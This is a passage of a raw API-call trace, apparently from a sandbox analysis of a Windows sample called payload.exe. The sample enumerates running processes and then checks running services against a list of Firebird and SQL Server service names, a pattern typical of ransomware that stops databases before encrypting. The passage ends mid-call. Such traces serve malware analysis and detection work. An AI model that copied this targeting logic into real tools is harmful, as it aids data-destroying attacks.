th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.227] lstrlenW (lpString="svchost.exe") returned 11 [0126.227] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.228] lstrlenW (lpString="svchost.exe") returned 11 [0126.228] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.228] lstrlenW (lpString="svchost.exe") returned 11 [0126.228] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0126.229] lstrlenW (lpString="spoolsv.exe") returned 11 [0126.229] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.230] lstrlenW (lpString="svchost.exe") returned 11 [0126.230] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0126.231] lstrlenW (lpString="audiodg.exe") returned 11 [0126.231] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0126.231] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0126.231] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0126.232] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0126.232] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0126.233] lstrlenW (lpString="Memory Compression") returned 18 [0126.233] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0126.234] lstrlenW (lpString="sihost.exe") returned 10 [0126.234] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.234] lstrlenW (lpString="svchost.exe") returned 11 [0126.234] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0126.235] lstrlenW (lpString="taskhostw.exe") returned 13 [0126.235] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0126.236] lstrlenW (lpString="msoia.exe") returned 9 [0126.236] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0126.237] lstrlenW (lpString="userinit.exe") returned 12 [0126.237] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0126.238] lstrlenW (lpString="explorer.exe") returned 12 [0126.238] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0126.238] lstrlenW (lpString="SearchUI.exe") returned 12 [0126.238] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0126.239] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0126.239] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0126.240] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0126.240] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0126.240] lstrlenW (lpString="mobsync.exe") returned 11 [0126.240] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0126.241] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0126.241] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0126.241] lstrlenW (lpString="payload.exe") returned 11 [0126.241] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0126.242] lstrlenW (lpString="payload.exe") returned 11 [0126.242] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0126.243] lstrlenW (lpString="cmd.exe") returned 7 [0126.243] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0126.243] lstrlenW (lpString="conhost.exe") returned 11 [0126.243] Process32NextW (in: hSnapshot=0x274, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0126.244] CloseHandle (hObject=0x274) returned 1 [0126.244] Sleep (dwMilliseconds=0x1f4) [0127.085] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x54ec68 [0127.085] EnumServicesStatusExW (in: hSCManager=0x54ec68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0127.086] GetLastError () returned 0xea [0127.086] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1bc4) returned 0x3e59c18 [0127.086] EnumServicesStatusExW (in: hSCManager=0x54ec68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3e59c18, cbBufSize=0x1bc4, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3e59c18, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0127.086] CloseServiceHandle (hSCObject=0x54ec68) returned 1 [0127.087] lstrlenW (lpString="AppXSvc") returned 7 [0127.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0127.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0127.087] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0127.087] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0127.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0127.087] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0127.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0127.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0127.087] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0127.087] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0127.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0127.087] lstrlenW (lpString="Audiosrv") returned 8 [0127.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0127.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0127.087] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0127.087] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0127.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0127.087] lstrlenW (lpString="BFE") returned 3 [0127.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0127.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0127.087] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0127.087] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0127.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0127.087] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0127.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0127.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0127.088] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0127.088] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0127.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0127.088] lstrlenW (lpString="CDPSvc") returned 6 [0127.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0127.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0127.088] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0127.088] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0127.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0127.088] lstrlenW (lpString="ClickToRunSvc") returned 13 [0127.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0127.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0127.088] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0127.088] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0127.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0127.088] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0127.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0127.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0127.088] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0127.088] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0127.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0127.088] lstrlenW (lpString="CryptSvc") returned 8 [0127.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0127.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0127.088] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0127.088] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0127.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0127.088] lstrlenW (lpString="DcomLaunch") returned 10 [0127.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0127.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0127.088] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0127.089] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0127.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0127.089] lstrlenW (lpString="DeviceAssociationService") returned 24 [0127.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0127.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0127.089] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0127.089] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0127.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0127.089] lstrlenW (lpString="Dhcp") returned 4 [0127.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0127.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0127.089] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0127.089] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0127.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0127.089] lstrlenW (lpString="Dnscache") returned 8 [0127.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0127.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0127.089] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0127.089] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0127.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0127.089] lstrlenW (lpString="DPS") returned 3 [0127.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0127.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0127.089] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0127.089] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0127.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0127.089] lstrlenW (lpString="DusmSvc") returned 7 [0127.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0127.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0127.089] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0127.089] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0127.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0127.090] lstrlenW (lpString="EventLog") returned 8 [0127.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0127.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0127.090] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0127.090] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0127.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0127.090] lstrlenW (lpString="EventSystem") returned 11 [0127.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0127.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0127.090] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0127.090] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0127.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0127.090] lstrlenW (lpString="FontCache") returned 9 [0127.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0127.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0127.090] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0127.090] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0127.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0127.090] lstrlenW (lpString="gpsvc") returned 5 [0127.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0127.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0127.090] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0127.090] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0127.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0127.090] lstrlenW (lpString="iphlpsvc") returned 8 [0127.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0127.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0127.090] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0127.090] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0127.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0127.090] lstrlenW (lpString="KeyIso") returned 6 [0127.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0127.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0127.091] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0127.091] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0127.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0127.091] lstrlenW (lpString="LanmanServer") returned 12 [0127.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0127.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0127.091] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0127.091] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0127.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0127.091] lstrlenW (lpString="LanmanWorkstation") returned 17 [0127.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0127.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0127.091] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0127.091] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0127.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0127.091] lstrlenW (lpString="lfsvc") returned 5 [0127.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0127.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0127.091] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0127.091] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0127.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0127.091] lstrlenW (lpString="lmhosts") returned 7 [0127.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0127.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0127.091] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0127.091] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0127.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0127.091] lstrlenW (lpString="LSM") returned 3 [0127.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0127.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0127.092] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0127.092] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0127.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0127.092] lstrlenW (lpString="MpsSvc") returned 6 [0127.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0127.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0127.092] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0127.092] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0127.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0127.092] lstrlenW (lpString="NcbService") returned 10 [0127.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0127.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0127.092] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0127.092] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0127.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0127.092] lstrlenW (lpString="netprofm") returned 8 [0127.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0127.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0127.092] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0127.092] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0127.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0127.092] lstrlenW (lpString="NgcSvc") returned 6 [0127.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0127.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0127.092] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0127.092] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0127.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0127.092] lstrlenW (lpString="NlaSvc") returned 6 [0127.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0127.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0127.092] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0127.092] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0127.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0127.092] lstrlenW (lpString="nsi") returned 3 [0127.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0127.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0127.093] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0127.093] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0127.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0127.093] lstrlenW (lpString="PcaSvc") returned 6 [0127.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0127.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0127.093] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0127.093] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0127.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0127.093] lstrlenW (lpString="PlugPlay") returned 8 [0127.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0127.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0127.093] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0127.093] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0127.093] lstrcmpiW 